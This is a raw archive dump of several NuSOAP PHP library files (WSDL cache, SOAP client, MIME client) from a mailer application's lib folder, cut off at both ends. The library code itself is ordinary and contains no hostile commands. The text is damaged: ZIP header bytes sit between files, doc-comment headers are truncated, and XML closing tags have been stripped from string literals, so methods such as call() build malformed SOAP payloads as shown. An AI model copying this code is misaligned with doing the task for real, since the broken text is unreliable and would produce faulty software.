if(strpos($pType,':')) { $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); } $this->messages[$name.'Response'][$pName] = $pType; } } else { $this->messages[$name.'Response']= '0'; } return true; } } ?>PKq\YO&superwebmailer/lib/class.wsdlcache.phpnu[ * @author Ingo Fischer * @version $Id: class.wsdlcache.php,v 1.7 2007/04/17 16:34:03 snichol Exp $ * @access public */ class nusoap_wsdlcache { /** * @var resource * @access private */ var $fplock; /** * @var integer * @access private */ var $cache_lifetime; /** * @var string * @access private */ var $cache_dir; /** * @var string * @access public */ var $debug_str = ''; /** * constructor * * @param string $cache_dir directory for cache-files * @param integer $cache_lifetime lifetime for caching-files in seconds or 0 for unlimited * @access public */ function nusoap_wsdlcache($cache_dir='.', $cache_lifetime=0) { $this->fplock = array(); $this->cache_dir = $cache_dir != '' ? $cache_dir : '.'; $this->cache_lifetime = $cache_lifetime; } /** * creates the filename used to cache a wsdl instance * * @param string $wsdl The URL of the wsdl instance * @return string The filename used to cache the instance * @access private */ function createFilename($wsdl) { return $this->cache_dir.'/wsdlcache-' . md5($wsdl); } /** * adds debug data to the class level debug string * * @param string $string debug data * @access private */ function debug($string){ $this->debug_str .= get_class($this).": $string\n"; } /** * gets a wsdl instance from the cache * * @param string $wsdl The URL of the wsdl instance * @return object wsdl The cached wsdl instance, null if the instance is not in the cache * @access public */ function get($wsdl) { $filename = $this->createFilename($wsdl); if ($this->obtainMutex($filename, "r")) { // check for expired WSDL that must be removed from the cache if ($this->cache_lifetime > 0) { if (file_exists($filename) && (time() - filemtime($filename) > $this->cache_lifetime)) { unlink($filename); $this->debug("Expired $wsdl ($filename) from cache"); $this->releaseMutex($filename); return null; } } // see what there is to return if (!file_exists($filename)) { $this->debug("$wsdl ($filename) not in cache (1)"); $this->releaseMutex($filename); return null; } $fp = @fopen($filename, "r"); if ($fp) { $s = implode("", @file($filename)); fclose($fp); $this->debug("Got $wsdl ($filename) from cache"); } else { $s = null; $this->debug("$wsdl ($filename) not in cache (2)"); } $this->releaseMutex($filename); return (!is_null($s)) ? unserialize($s) : null; } else { $this->debug("Unable to obtain mutex for $filename in get"); } return null; } /** * obtains the local mutex * * @param string $filename The Filename of the Cache to lock * @param string $mode The open-mode ("r" or "w") or the file - affects lock-mode * @return boolean Lock successfully obtained ?! * @access private */ function obtainMutex($filename, $mode) { if (isset($this->fplock[md5($filename)])) { $this->debug("Lock for $filename already exists"); return false; } $this->fplock[md5($filename)] = fopen($filename.".lock", "w"); if ($mode == "r") { return flock($this->fplock[md5($filename)], LOCK_SH); } else { return flock($this->fplock[md5($filename)], LOCK_EX); } } /** * adds a wsdl instance to the cache * * @param object wsdl $wsdl_instance The wsdl instance to add * @return boolean WSDL successfully cached * @access public */ function put($wsdl_instance) { $filename = $this->createFilename($wsdl_instance->wsdl); $s = serialize($wsdl_instance); if ($this->obtainMutex($filename, "w")) { $fp = fopen($filename, "w"); if (! $fp) { $this->debug("Cannot write $wsdl_instance->wsdl ($filename) in cache"); $this->releaseMutex($filename); return false; } fputs($fp, $s); fclose($fp); $this->debug("Put $wsdl_instance->wsdl ($filename) in cache"); $this->releaseMutex($filename); return true; } else { $this->debug("Unable to obtain mutex for $filename in put"); } return false; } /** * releases the local mutex * * @param string $filename The Filename of the Cache to lock * @return boolean Lock successfully released * @access private */ function releaseMutex($filename) { $ret = flock($this->fplock[md5($filename)], LOCK_UN); fclose($this->fplock[md5($filename)]); unset($this->fplock[md5($filename)]); if (! $ret) { $this->debug("Not able to release lock for $filename"); } return $ret; } /** * removes a wsdl instance from the cache * * @param string $wsdl The URL of the wsdl instance * @return boolean Whether there was an instance to remove * @access public */ function remove($wsdl) { $filename = $this->createFilename($wsdl); if (!file_exists($filename)) { $this->debug("$wsdl ($filename) not in cache to be removed"); return false; } // ignore errors obtaining mutex $this->obtainMutex($filename, "w"); $ret = unlink($filename); $this->debug("Removed ($ret) $wsdl ($filename) from cache"); $this->releaseMutex($filename); return $ret; } } /** * For backward compatibility */ class wsdlcache extends nusoap_wsdlcache { } ?> PKq\›m'superwebmailer/lib/class.soapclient.phpnu[call( string methodname [ ,array parameters] ); * * // bye bye client * unset($soapclient); * * @author Dietrich Ayala * @author Scott Nichol * @version $Id: class.soapclient.php,v 1.69 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_client extends nusoap_base { var $username = ''; // Username for HTTP authentication var $password = ''; // Password for HTTP authentication var $authtype = ''; // Type of HTTP authentication var $certRequest = array(); // Certificate for HTTP SSL authentication var $requestHeaders = false; // SOAP headers in request (text) var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) var $responseHeader = NULL; // SOAP Header from response (parsed) var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) var $endpoint; var $forceEndpoint = ''; // overrides WSDL endpoint var $proxyhost = ''; var $proxyport = ''; var $proxyusername = ''; var $proxypassword = ''; var $portName = ''; // port name to use in WSDL var $xml_encoding = ''; // character set encoding of incoming (response) messages var $http_encoding = false; var $timeout = 0; // HTTP connection timeout var $response_timeout = 30; // HTTP response timeout var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error var $persistentConnection = false; var $defaultRpcParams = false; // This is no longer used var $request = ''; // HTTP request var $response = ''; // HTTP response var $responseData = ''; // SOAP payload of response var $cookies = array(); // Cookies from response or for request var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() var $operations = array(); // WSDL operations, empty for WSDL initialization error var $curl_options = array(); // User-specified cURL options var $bindingType = ''; // WSDL operation binding type var $use_curl = false; // whether to always try to use cURL /* * fault related variables */ /** * @var fault * @access public */ var $fault; /** * @var faultcode * @access public */ var $faultcode; /** * @var faultstring * @access public */ var $faultstring; /** * @var faultdetail * @access public */ var $faultdetail; /** * constructor * * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL * @param string $proxyhost optional * @param string $proxyport optional * @param string $proxyusername optional * @param string $proxypassword optional * @param integer $timeout set the connection timeout * @param integer $response_timeout set the response timeout * @param string $portName optional portName in WSDL document * @access public */ function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ parent::nusoap_base(); $this->endpoint = $endpoint; $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; $this->timeout = $timeout; $this->response_timeout = $response_timeout; $this->portName = $portName; $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); $this->appendDebug('endpoint=' . $this->varDump($endpoint)); // make values if($wsdl){ if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { $this->wsdl = $endpoint; $this->endpoint = $this->wsdl->wsdl; $this->wsdlFile = $this->endpoint; $this->debug('existing wsdl instance created from ' . $this->endpoint); $this->checkWSDL(); } else { $this->wsdlFile = $this->endpoint; $this->wsdl = null; $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); } $this->endpointType = 'wsdl'; } else { $this->debug("instantiate SOAP with endpoint at $endpoint"); $this->endpointType = 'soap'; } } /** * calls method, returns PHP native type * * @param string $operation SOAP server URL or path * @param mixed $params An array, associative or simple, of the parameters * for the method call, or a string that is the XML * for the call. For rpc style, this call will * wrap the XML in a tag named after the method, as * well as the SOAP Envelope and Body. For document * style, this will only wrap with the Envelope and Body. * IMPORTANT: when using an array with document style, * in which case there * is really one parameter, the root of the fragment * used in the call, which encloses what programmers * normally think of parameters. A parameter array * *must* include the wrapper. * @param string $namespace optional method namespace (WSDL can override) * @param string $soapAction optional SOAPAction value (WSDL can override) * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array * @param boolean $rpcParams optional (no longer used) * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors * @access public */ function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ $this->operation = $operation; $this->fault = false; $this->setError(''); $this->request = ''; $this->response = ''; $this->responseData = ''; $this->faultstring = ''; $this->faultcode = ''; $this->opData = array(); $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); $this->appendDebug('params=' . $this->varDump($params)); $this->appendDebug('headers=' . $this->varDump($headers)); if ($headers) { $this->requestHeaders = $headers; } if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) return false; } // serialize parameters if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ // use WSDL for operation $this->opData = $opData; $this->debug("found operation"); $this->appendDebug('opData=' . $this->varDump($opData)); if (isset($opData['soapAction'])) { $soapAction = $opData['soapAction']; } if (! $this->forceEndpoint) { $this->endpoint = $opData['endpoint']; } else { $this->endpoint = $this->forceEndpoint; } $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; $style = $opData['style']; $use = $opData['input']['use']; // add ns to ns array if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ $nsPrefix = 'ns' . rand(1000, 9999); $this->wsdl->namespaces[$nsPrefix] = $namespace; } $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); // serialize payload if (is_string($params)) { $this->debug("serializing param string for WSDL operation $operation"); $payload = $params; } elseif (is_array($params)) { $this->debug("serializing param array for WSDL operation $operation"); $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); } else { $this->debug('params must be array or string'); $this->setError('params must be array or string'); return false; } $usedNamespaces = $this->wsdl->usedNamespaces; if (isset($opData['input']['encodingStyle'])) { $encodingStyle = $opData['input']['encodingStyle']; } else { $encodingStyle = ''; } $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if ($errstr = $this->wsdl->getError()) { $this->debug('got wsdl error: '.$errstr); $this->setError('wsdl error: '.$errstr); return false; } } elseif($this->endpointType == 'wsdl') { // operation not in WSDL $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->setError('operation '.$operation.' not present in WSDL.'); $this->debug("operation '$operation' not present in WSDL."); return false; } else { // no WSDL //$this->namespaces['ns1'] = $namespace; $nsPrefix = 'ns' . rand(1000, 9999); // serialize $payload = ''; if (is_string($params)) { $this->debug("serializing param string for operation $operation"); $payload = $params; } elseif (is_array($params)) { $this->debug("serializing param array for operation $operation"); foreach($params as $k => $v){ $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); } } else { $this->debug('params must be array or string'); $this->setError('params must be array or string'); return false; } $usedNamespaces = array(); if ($use == 'encoded') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } else { $encodingStyle = ''; } } // wrap RPC calls with method element if ($style == 'rpc') { if ($use == 'literal') { $this->debug("wrapping RPC request with literal method element"); if ($namespace) { // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . $payload . ""; } else { $payload = "<$operation>" . $payload . ""; } } else { $this->debug("wrapping RPC request with encoded method element"); if ($namespace) { $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . $payload . ""; } else { $payload = "<$operation>" . $payload . ""; } } } // serialize envelope $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); // send $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); if($errstr = $this->getError()){ $this->debug('Error: '.$errstr); return false; } else { $this->return = $return; $this->debug('sent message successfully and got a(n) '.gettype($return)); $this->appendDebug('return=' . $this->varDump($return)); // fault? if(is_array($return) && isset($return['faultcode'])){ $this->debug('got fault'); $this->setError($return['faultcode'].': '.$return['faultstring']); $this->fault = true; foreach($return as $k => $v){ $this->$k = $v; $this->debug("$k = $v
    "); } return $return; } elseif ($style == 'document') { // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), // we are only going to return the first part here...sorry about that return $return; } else { // array of return values if(is_array($return)){ // multiple 'out' parameters, which we return wrapped up // in the array if(sizeof($return) > 1){ return $return; } // single 'out' parameter (normally the return value) $return = array_shift($return); $this->debug('return shifted value: '); $this->appendDebug($this->varDump($return)); return $return; // nothing returned (ie, echoVoid) } else { return ""; } } } } /** * check WSDL passed as an instance or pulled from an endpoint * * @access private */ function checkWSDL() { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('checkWSDL'); // catch errors if ($errstr = $this->wsdl->getError()) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('got wsdl error: '.$errstr); $this->setError('wsdl error: '.$errstr); } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->bindingType = 'soap'; $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->bindingType = 'soap12'; $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); } else { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('getOperations returned false'); $this->setError('no operations defined in the WSDL document!'); } } /** * instantiate wsdl object and parse wsdl file * * @access public */ function loadWSDL() { $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); $this->wsdl->fetchWSDL($this->wsdlFile); $this->checkWSDL(); } /** * get available data pertaining to an operation * * @param string $operation operation name * @return array array of data pertaining to the operation * @access public */ function getOperationData($operation){ if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) return false; } if(isset($this->operations[$operation])){ return $this->operations[$operation]; } $this->debug("No data for operation: $operation"); } /** * send the SOAP message * * Note: if the operation has multiple return values * the return value of this method will be an array * of those values. * * @param string $msg a SOAPx4 soapmsg object * @param string $soapaction SOAPAction value * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @return mixed native PHP types. * @access private */ function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { $this->checkCookies(); // detect transport switch(true){ // http(s) case preg_match('/^http/',$this->endpoint): $this->debug('transporting via HTTP'); if($this->persistentConnection == true && is_object($this->persistentConnection)){ $http =& $this->persistentConnection; } else { $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); if ($this->persistentConnection) { $http->usePersistentConnection(); } } $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); $http->setSOAPAction($soapaction); if($this->proxyhost && $this->proxyport){ $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); } if($this->authtype != '') { $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); } if($this->http_encoding != ''){ $http->setEncoding($this->http_encoding); } $this->debug('sending message, length='.strlen($msg)); if(preg_match('/^http:/',$this->endpoint)){ //if(strpos($this->endpoint,'http:')){ $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); } elseif(preg_match('/^https/',$this->endpoint)){ //} elseif(strpos($this->endpoint,'https:')){ //if(phpversion() == '4.3.0-dev'){ //$response = $http->send($msg,$timeout,$response_timeout); //$this->request = $http->outgoing_payload; //$this->response = $http->incoming_payload; //} else $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); } else { $this->setError('no http/s in endpoint url'); } $this->request = $http->outgoing_payload; $this->response = $http->incoming_payload; $this->appendDebug($http->getDebug()); $this->UpdateCookies($http->incoming_cookies); // save transport object if using persistent connections if ($this->persistentConnection) { $http->clearDebug(); if (!is_object($this->persistentConnection)) { $this->persistentConnection = $http; } } if($err = $http->getError()){ $this->setError('HTTP Error: '.$err); return false; } elseif($this->getError()){ return false; } else { $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); return $this->parseResponse($http->incoming_headers, $this->responseData); } break; default: $this->setError('no transport found, or selected transport is not yet supported!'); return false; break; } } /** * processes SOAP message returned from server * * @param array $headers The HTTP headers * @param string $data unprocessed response data from server * @return mixed value of the message, decoded into a PHP type * @access private */ function parseResponse($headers, $data) { $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); $this->appendDebug($this->varDump($headers)); if (!isset($headers['content-type'])) { $this->setError('Response not of type text/xml (no content-type header)'); return false; } if (!strstr($headers['content-type'], 'text/xml')) { $this->setError('Response not of type text/xml: ' . $headers['content-type']); return false; } if (strpos($headers['content-type'], '=')) { $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); $this->debug('Got response encoding: ' . $enc); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); // add parser debug data to our debug $this->appendDebug($parser->getDebug()); // if parse errors if($errstr = $parser->getError()){ $this->setError( $errstr); // destroy the parser object unset($parser); return false; } else { // get SOAP headers $this->responseHeaders = $parser->getHeaders(); // get SOAP headers $this->responseHeader = $parser->get_soapheader(); // get decoded message $return = $parser->get_soapbody(); // add document for doclit support $this->document = $parser->document; // destroy the parser object unset($parser); // return decode message return $return; } } /** * sets user-specified cURL options * * @param mixed $option The cURL option (always integer?) * @param mixed $value The cURL option value * @access public */ function setCurlOption($option, $value) { $this->debug("setCurlOption option=$option, value="); $this->appendDebug($this->varDump($value)); $this->curl_options[$option] = $value; } /** * sets the SOAP endpoint, which can override WSDL * * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override * @access public */ function setEndpoint($endpoint) { $this->debug("setEndpoint(\"$endpoint\")"); $this->forceEndpoint = $endpoint; } /** * set the SOAP headers * * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers * @access public */ function setHeaders($headers){ $this->debug("setHeaders headers="); $this->appendDebug($this->varDump($headers)); $this->requestHeaders = $headers; } /** * get the SOAP response headers (namespace resolution incomplete) * * @return string * @access public */ function getHeaders(){ return $this->responseHeaders; } /** * get the SOAP response Header (parsed) * * @return mixed * @access public */ function getHeader(){ return $this->responseHeader; } /** * set proxy info here * * @param string $proxyhost * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @access public */ function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype certRequest="); $this->appendDebug($this->varDump($certRequest)); $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->certRequest = $certRequest; } /** * use HTTP encoding * * @param string $enc HTTP encoding * @access public */ function setHTTPEncoding($enc='gzip, deflate'){ $this->debug("setHTTPEncoding(\"$enc\")"); $this->http_encoding = $enc; } /** * Set whether to try to use cURL connections if possible * * @param boolean $use Whether to try to use cURL * @access public */ function setUseCURL($use) { $this->debug("setUseCURL($use)"); $this->use_curl = $use; } /** * use HTTP persistent connections if possible * * @access public */ function useHTTPPersistentConnection(){ $this->debug("useHTTPPersistentConnection"); $this->persistentConnection = true; } /** * gets the default RPC parameter setting. * If true, default is that call params are like RPC even for document style. * Each call() can override this value. * * This is no longer used. * * @return boolean * @access public * @deprecated */ function getDefaultRpcParams() { return $this->defaultRpcParams; } /** * sets the default RPC parameter setting. * If true, default is that call params are like RPC even for document style * Each call() can override this value. * * This is no longer used. * * @param boolean $rpcParams * @access public * @deprecated */ function setDefaultRpcParams($rpcParams) { $this->defaultRpcParams = $rpcParams; } /** * dynamically creates an instance of a proxy class, * allowing user to directly call methods from wsdl * * @return object soap_proxy object * @access public */ function getProxy() { $r = rand(); $evalStr = $this->_getProxyClassCode($r); //$this->debug("proxy class: $evalStr"); if ($this->getError()) { $this->debug("Error from _getProxyClassCode, so return NULL"); return null; } // eval the class eval($evalStr); // instantiate proxy object eval("\$proxy = new nusoap_proxy_$r('');"); // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice $proxy->endpointType = 'wsdl'; $proxy->wsdlFile = $this->wsdlFile; $proxy->wsdl = $this->wsdl; $proxy->operations = $this->operations; $proxy->defaultRpcParams = $this->defaultRpcParams; // transfer other state $proxy->soap_defencoding = $this->soap_defencoding; $proxy->username = $this->username; $proxy->password = $this->password; $proxy->authtype = $this->authtype; $proxy->certRequest = $this->certRequest; $proxy->requestHeaders = $this->requestHeaders; $proxy->endpoint = $this->endpoint; $proxy->forceEndpoint = $this->forceEndpoint; $proxy->proxyhost = $this->proxyhost; $proxy->proxyport = $this->proxyport; $proxy->proxyusername = $this->proxyusername; $proxy->proxypassword = $this->proxypassword; $proxy->http_encoding = $this->http_encoding; $proxy->timeout = $this->timeout; $proxy->response_timeout = $this->response_timeout; $proxy->persistentConnection = &$this->persistentConnection; $proxy->decode_utf8 = $this->decode_utf8; $proxy->curl_options = $this->curl_options; $proxy->bindingType = $this->bindingType; $proxy->use_curl = $this->use_curl; return $proxy; } /** * dynamically creates proxy class code * * @return string PHP/NuSOAP code for the proxy class * @access private */ function _getProxyClassCode($r) { $this->debug("in getProxy endpointType=$this->endpointType"); $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); if ($this->endpointType != 'wsdl') { $evalStr = 'A proxy can only be created for a WSDL client'; $this->setError($evalStr); $evalStr = "echo \"$evalStr\";"; return $evalStr; } if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) { return "echo \"" . $this->getError() . "\";"; } } $evalStr = ''; foreach ($this->operations as $operation => $opData) { if ($operation != '') { // create param string and param comment string if (sizeof($opData['input']['parts']) > 0) { $paramStr = ''; $paramArrayStr = ''; $paramCommentStr = ''; foreach ($opData['input']['parts'] as $name => $type) { $paramStr .= "\$$name, "; $paramArrayStr .= "'$name' => \$$name, "; $paramCommentStr .= "$type \$$name, "; } $paramStr = substr($paramStr, 0, strlen($paramStr)-2); $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); } else { $paramStr = ''; $paramArrayStr = ''; $paramCommentStr = 'void'; } $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; $evalStr .= "// $paramCommentStr function " . str_replace('.', '__', $operation) . "($paramStr) { \$params = array($paramArrayStr); return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); } "; unset($paramStr); unset($paramCommentStr); } } $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { '.$evalStr.' }'; return $evalStr; } /** * dynamically creates proxy class code * * @return string PHP/NuSOAP code for the proxy class * @access public */ function getProxyClassCode() { $r = rand(); return $this->_getProxyClassCode($r); } /** * gets the HTTP body for the current request. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { return $soapmsg; } /** * gets the HTTP content type for the current request. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current request. * @access private */ function getHTTPContentType() { return 'text/xml'; } /** * gets the HTTP content type charset for the current request. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current request. * @access private */ function getHTTPContentTypeCharset() { return $this->soap_defencoding; } /* * whether or not parser should decode utf8 element content * * @return always returns true * @access public */ function decodeUTF8($bool){ $this->decode_utf8 = $bool; return true; } /** * adds a new Cookie into $this->cookies array * * @param string $name Cookie Name * @param string $value Cookie Value * @return boolean if cookie-set was successful returns true, else false * @access public */ function setCookie($name, $value) { if (strlen($name) == 0) { return false; } $this->cookies[] = array('name' => $name, 'value' => $value); return true; } /** * gets all Cookies * * @return array with all internal cookies * @access public */ function getCookies() { return $this->cookies; } /** * checks all Cookies and delete those which are expired * * @return boolean always return true * @access private */ function checkCookies() { if (sizeof($this->cookies) == 0) { return true; } $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); $curr_cookies = $this->cookies; $this->cookies = array(); foreach ($curr_cookies as $cookie) { if (! is_array($cookie)) { $this->debug('Remove cookie that is not an array'); continue; } if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { if (strtotime($cookie['expires']) > time()) { $this->cookies[] = $cookie; } else { $this->debug('Remove expired cookie ' . $cookie['name']); } } else { $this->cookies[] = $cookie; } } $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); return true; } /** * updates the current cookies with a new set * * @param array $cookies new cookies with which to update current ones * @return boolean always return true * @access private */ function UpdateCookies($cookies) { if (sizeof($this->cookies) == 0) { // no existing cookies: take whatever is new if (sizeof($cookies) > 0) { $this->debug('Setting new cookie(s)'); $this->cookies = $cookies; } return true; } if (sizeof($cookies) == 0) { // no new cookies: keep what we've got return true; } // merge foreach ($cookies as $newCookie) { if (!is_array($newCookie)) { continue; } if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { continue; } $newName = $newCookie['name']; $found = false; for ($i = 0; $i < count($this->cookies); $i++) { $cookie = $this->cookies[$i]; if (!is_array($cookie)) { continue; } if (!isset($cookie['name'])) { continue; } if ($newName != $cookie['name']) { continue; } $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; if ($newDomain != $domain) { continue; } $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; if ($newPath != $path) { continue; } $this->cookies[$i] = $newCookie; $found = true; $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); break; } if (! $found) { $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); $this->cookies[] = $newCookie; } } return true; } } if (!extension_loaded('soap')) { /** * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. */ class soapclient extends nusoap_client { } } ?> PKq\Yt::!superwebmailer/lib/nusoapmime.phpnu[ * @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list * @version $Id: nusoapmime.php,v 1.13 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_client_mime extends nusoap_client { /** * @var array Each array element in the return is an associative array with keys * data, filename, contenttype, cid * @access private */ var $requestAttachments = array(); /** * @var array Each array element in the return is an associative array with keys * data, filename, contenttype, cid * @access private */ var $responseAttachments; /** * @var string * @access private */ var $mimeContentType; /** * adds a MIME attachment to the current request. * * If the $data parameter contains an empty string, this method will read * the contents of the file named by the $filename parameter. * * If the $cid parameter is false, this method will generate the cid. * * @param string $data The data of the attachment * @param string $filename The filename of the attachment (default is empty string) * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) * @param string $cid The content-id (cid) of the attachment (default is false) * @return string The content-id (cid) of the attachment * @access public */ function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { if (! $cid) { $cid = md5(uniqid(time())); } $info['data'] = $data; $info['filename'] = $filename; $info['contenttype'] = $contenttype; $info['cid'] = $cid; $this->requestAttachments[] = $info; return $cid; } /** * clears the MIME attachments for the current request. * * @access public */ function clearAttachments() { $this->requestAttachments = array(); } /** * gets the MIME attachments from the current response. * * Each array element in the return is an associative array with keys * data, filename, contenttype, cid. These keys correspond to the parameters * for addAttachment. * * @return array The attachments. * @access public */ function getAttachments() { return $this->responseAttachments; } /** * gets the HTTP body for the current request. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { if (count($this->requestAttachments) > 0) { $params['content_type'] = 'multipart/related; type="text/xml"'; $mimeMessage = new Mail_mimePart('', $params); unset($params); $params['content_type'] = 'text/xml'; $params['encoding'] = '8bit'; $params['charset'] = $this->soap_defencoding; $mimeMessage->addSubpart($soapmsg, $params); foreach ($this->requestAttachments as $att) { unset($params); $params['content_type'] = $att['contenttype']; $params['encoding'] = 'base64'; $params['disposition'] = 'attachment'; $params['dfilename'] = $att['filename']; $params['cid'] = $att['cid']; if ($att['data'] == '' && $att['filename'] <> '') { if ($fd = fopen($att['filename'], 'rb')) { $data = fread($fd, filesize($att['filename'])); fclose($fd); } else { $data = ''; } $mimeMessage->addSubpart($data, $params); } else 